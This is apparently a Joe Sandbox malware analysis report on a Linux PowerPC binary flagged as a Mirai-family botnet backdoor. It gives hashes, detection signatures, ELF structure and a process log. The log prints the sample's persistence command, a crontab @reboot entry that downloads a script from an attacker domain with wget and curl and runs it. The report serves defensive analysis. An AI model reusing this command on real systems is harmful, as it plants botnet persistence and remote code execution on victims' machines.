Edit tour
Linux
Analysis Report
nshppc.elf
Overview
General Information
Sample name: | nshppc.elf |
Analysis ID: | 1542849 |
MD5: | 29a8d657f77fbbb6816b15a223770f27 |
SHA1: | c13aee7d2d3856e6a12dff9e14e9cd1803623ca3 |
SHA256: | d499423beedb16572846748e277aa66856b41f66a5ecaa08cfd1d00754a25f91 |
Tags: | elfuser-abuse_ch |
Infos: |
Detection
Score: | 56 |
Range: | 0 - 100 |
Whitelisted: | false |
Signatures
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Executes commands using a shell command-line interpreter
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads system version information
Sample has stripped symbol table
Sample listens on a socket
Sleeps for long times indicative of sandbox evasion
Uses the "uname" system call to query kernel version information (possible evasion)
Classification
Joe Sandbox version: | 41.0.0 Charoite |
Analysis ID: | 1542849 |
Start date and time: | 2024-10-26 19:05:45 +02:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 5m 19s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | defaultlinuxfilecookbook.jbs |
Analysis system description: | Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11) |
Analysis Mode: | default |
Sample name: | nshppc.elf |
Detection: | MAL |
Classification: | mal56.troj.linELF@0/1@0/0 |
- Skipping network analysis since amount of network traffic is too extensive
- VT rate limit hit for: nshppc.elf
Command: | /tmp/nshppc.elf |
PID: | 5711 |
Exit Code: | 0 |
Exit Code Info: | |
Killed: | False |
Standard Output: | you are now apart of hail cock botnet |
Standard Error: | no crontab for root |
- system is lnxubuntu20
- nshppc.elf New Fork (PID: 5713, Parent: 5711)
- sh New Fork (PID: 5720, Parent: 5713)
- nshppc.elf New Fork (PID: 5722, Parent: 5711)
- nshppc.elf New Fork (PID: 5764, Parent: 5722)
- nshppc.elf New Fork (PID: 5883, Parent: 5764)
- nshppc.elf New Fork (PID: 5885, Parent: 5883)
- nshppc.elf New Fork (PID: 5723, Parent: 5711)
- systemd New Fork (PID: 5839, Parent: 1)
- snap-failure New Fork (PID: 5855, Parent: 5839)
- snap-failure New Fork (PID: 5856, Parent: 5839)
- cleanup
⊘No yara matches
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | ReversingLabs: |
Source: | String: |
Source: | Socket: | Jump to behavior |
Source: | String found in binary or memory: |
Source: | .symtab present: |
Source: | Classification label: |
Persistence and Installation Behavior |
---|
Source: | Crontab executable: | Jump to behavior | ||
Source: | Crontab executable: | Jump to behavior |
Source: | File: | Jump to behavior | ||
Source: | File: | Jump to behavior |
Source: | Shell command executed: | Jump to behavior |
Source: | Systemctl executable: | Jump to behavior |
Source: | Reads version info: | Jump to behavior |
Source: | Stderr: no crontab for root: |
Source: | Sleeps longer then 60s: | Jump to behavior |
Source: | Queries kernel information via 'uname': | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | 2 Scripting | Valid Accounts | 1 Scheduled Task/Job | 1 Systemd Service | 1 Systemd Service | 1 Virtualization/Sandbox Evasion | OS Credential Dumping | 11 Security Software Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | Scheduled Task/Job | 1 Scheduled Task/Job | 1 Scheduled Task/Job | Rootkit | LSASS Memory | 1 Virtualization/Sandbox Evasion | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | At | 2 Scripting | Logon Script (Windows) | Obfuscated Files or Information | Security Account Manager | 1 System Information Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | Steganography | Automated Exfiltration | Data Encrypted for Impact |
⊘No configs have been found
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
21% | ReversingLabs | Linux.Backdoor.Mirai |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
⊘No contacted domains info
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
false | unknown |
⊘No contacted IP infos
Process: | /usr/bin/crontab |
File Type: | |
Category: | dropped |
Size (bytes): | 306 |
Entropy (8bit): | 5.148371805764079 |
Encrypted: | false |
SSDEEP: | 6:SUrpqoqQjEOP1KmREJOBFQ4MvZHGMQ5UYLtCFt3HY5DMFDKXsJovYL8jndFKXsJD:8QjHig8BJeHLUHYC+GABjnOGAFkz |
MD5: | A46EE5CC7BBE5148D3200A7C38205950 |
SHA1: | 1308DD3F6430A904C0351BFF40D267F7C2B04594 |
SHA-256: | 11F2196F2BA7A0FE89B6C1B596D6CE94C2049EBFD24F6F396BA79E07936D12C8 |
SHA-512: | 59ED6CCDC11E687F56127A415B9A2D66B672AD3C5B282DC41356381F3512EB659E7564FF2E0FF5799002627CE2D05B7FF2C90172DF1B8302D98257A41D7D892B |
Malicious: | true |
Reputation: | low |
Preview: |
File type: | |
Entropy (8bit): | 6.261580139211793 |
TrID: |
|
File name: | nshppc.elf |
File size: | 76'308 bytes |
MD5: | 29a8d657f77fbbb6816b15a223770f27 |
SHA1: | c13aee7d2d3856e6a12dff9e14e9cd1803623ca3 |
SHA256: | d499423beedb16572846748e277aa66856b41f66a5ecaa08cfd1d00754a25f91 |
SHA512: | 6a2432caa907ab6b17485d370bb969b1157f83984717cfe54bb9c4a387f5cdbe50bdd91c3569b9978f46ef3ff08f97ae6bfbef697f3cb6da32e63189acb540a9 |
SSDEEP: | 1536:izoHQ6+He+UVslxw35ltV/LPrUolu8H2lqesNj3:i0n+Jz6lvPrdlMm3 |
TLSH: | 55734C42B31C0947D1A75DF03A3F1BD083AFA99121E4FA84655FEB4A91B2E321586FCD |
File Content Preview: | .ELF...........................4..(4.....4. ...(......................$L..$L..............$P..$P..$P......T.........dt.Q.............................!..|......$H...H......$8!. |...N.. .!..|.......?.........(`..../...@..\?.....$l.+../...A..$8...})....$lN.. |
ELF header | |
---|---|
Class: | |
Data: | |
Version: | |
Machine: | |
Version Number: | |
Type: | |
OS/ABI: | |
ABI Version: | 0 |
Entry Point Address: | |
Flags: | |
ELF Header Size: | 52 |
Program Header Offset: | 52 |
Program Header Size: | 32 |
Number of Program Headers: | 3 |
Section Header Offset: | 75828 |
Section Header Size: | 40 |
Number of Section Headers: | 12 |
Header String Table Index: | 11 |
Name | Type | Address | Offset | Size | EntSize | Flags | Flags Description | Link | Info | Align |
---|---|---|---|---|---|---|---|---|---|---|
NULL | 0x0 | 0x0 | 0x0 | 0x0 | 0x0 | 0 | 0 | 0 | ||
.init | PROGBITS | 0x10000094 | 0x94 | 0x24 | 0x0 | 0x6 | AX | 0 | 0 | 4 |
.text | PROGBITS | 0x100000b8 | 0xb8 | 0x1096c | 0x0 | 0x6 | AX | 0 | 0 | 4 |
.fini | PROGBITS | 0x10010a24 | 0x10a24 | 0x20 | 0x0 | 0x6 | AX | 0 | 0 | 4 |
.rodata | PROGBITS | 0x10010a48 | 0x10a48 | 0x1a04 | 0x0 | 0x2 | A | 0 | 0 | 8 |
.ctors | PROGBITS | 0x10022450 | 0x12450 | 0x8 | 0x0 | 0x3 | WA | 0 | 0 | 4 |
.dtors | PROGBITS | 0x10022458 | 0x12458 | 0x8 | 0x0 | 0x3 | WA | 0 | 0 | 4 |
.data | PROGBITS | 0x10022468 | 0x12468 | 0x344 | 0x0 | 0x3 | WA | 0 | 0 | 8 |
.sdata | PROGBITS | 0x100227ac | 0x127ac | 0x3c | 0x0 | 0x3 | WA | 0 | 0 | 4 |
.sbss | NOBITS | 0x100227e8 | 0x127e8 | 0x78 | 0x0 | 0x3 | WA | 0 | 0 | 4 |
.bss | NOBITS | 0x10022860 | 0x127e8 | 0x508c | 0x0 | 0x3 | WA | 0 | 0 | 4 |
.shstrtab | STRTAB | 0x0 | 0x127e8 | 0x4b | 0x0 | 0x0 | 0 | 0 | 1 |
Type | Offset | Virtual Address | Physical Address | File Size | Memory Size | Entropy | Flags | Flags Description | Align | Prog Interpreter | Section Mappings |
---|---|---|---|---|---|---|---|---|---|---|---|
LOAD | 0x0 | 0x10000000 | 0x10000000 | 0x1244c | 0x1244c | 6.3022 | 0x5 | R E | 0x10000 | .init .text .fini .rodata | |
LOAD | 0x12450 | 0x10022450 | 0x10022450 | 0x398 | 0x549c | 3.0059 | 0x6 | RW | 0x10000 | .ctors .dtors .data .sdata .sbss .bss | |
GNU_STACK | 0x0 | 0x0 | 0x0 | 0x0 | 0x0 | 0.0000 | 0x6 | RW | 0x4 |
⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.
System Behavior
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | /tmp/nshppc.elf |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /bin/sh |
Arguments: | sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" |
File size: | 129816 bytes |
MD5 hash: | 1e6b1c887c59a315edb7eb9a315fc84c |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /bin/sh |
Arguments: | - |
File size: | 129816 bytes |
MD5 hash: | 1e6b1c887c59a315edb7eb9a315fc84c |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /bin/sh |
Arguments: | - |
File size: | 129816 bytes |
MD5 hash: | 1e6b1c887c59a315edb7eb9a315fc84c |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/bin/crontab |
Arguments: | crontab -l |
File size: | 43720 bytes |
MD5 hash: | 66e521d421ac9b407699061bf21806f5 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /bin/sh |
Arguments: | - |
File size: | 129816 bytes |
MD5 hash: | 1e6b1c887c59a315edb7eb9a315fc84c |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/bin/crontab |
Arguments: | crontab - |
File size: | 43720 bytes |
MD5 hash: | 66e521d421ac9b407699061bf21806f5 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:08:45 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:08:45 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:07:23 |
Start date (UTC): | 26/10/2024 |
Path: | /tmp/nshppc.elf |
Arguments: | - |
File size: | 5388968 bytes |
MD5 hash: | ae65271c943d3451b7f026d1fadccea6 |
Start time (UTC): | 17:08:02 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/lib/systemd/systemd |
Arguments: | - |
File size: | 1620224 bytes |
MD5 hash: | 9b2bec7092a40488108543f9334aab75 |
Start time (UTC): | 17:08:02 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/lib/snapd/snap-failure |
Arguments: | /usr/lib/snapd/snap-failure snapd |
File size: | 4764904 bytes |
MD5 hash: | 69136a7d575731ce62349f2e4d3e5c36 |
Start time (UTC): | 17:08:02 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/lib/snapd/snap-failure |
Arguments: | - |
File size: | 4764904 bytes |
MD5 hash: | 69136a7d575731ce62349f2e4d3e5c36 |
Start time (UTC): | 17:08:02 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/bin/systemctl |
Arguments: | systemctl stop snapd.socket |
File size: | 996584 bytes |
MD5 hash: | 4deddfb6741481f68aeac522cc26ff4b |
Start time (UTC): | 17:08:02 |
Start date (UTC): | 26/10/2024 |
Path: | /usr/lib/snapd/snap-failure |
Arguments: | - |
File size: | 4764904 bytes |
MD5 hash: | 69136a7d575731ce62349f2e4d3e5c36 |